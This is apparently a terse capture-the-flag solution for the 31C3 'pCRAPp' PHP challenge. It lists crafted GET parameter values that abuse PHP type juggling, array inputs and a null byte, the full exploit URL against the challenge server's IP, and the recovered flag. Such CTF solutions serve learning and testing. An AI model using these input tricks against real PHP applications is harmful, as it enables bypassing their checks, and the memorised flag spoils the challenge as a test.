pCRAPp

$_GET['a'] = '{"a1": "1337_", "a2": [[],0,0,0,0]}';
$_GET['b'] = "09";
$_GET['c'] = array(1, array(1));
$_GET['d'] = "\0 31c3";

http://188.40.18.69/pCRAPp.php?a={%22a1%22:%20%221337_%22,%20%22a2%22:%20[[],0,0,0,0]}&b=09&c[0]=1&c[1][]=1&d=%0031c3

31c3_pHp_h4z_f41l3d_d34l_w1tH_1T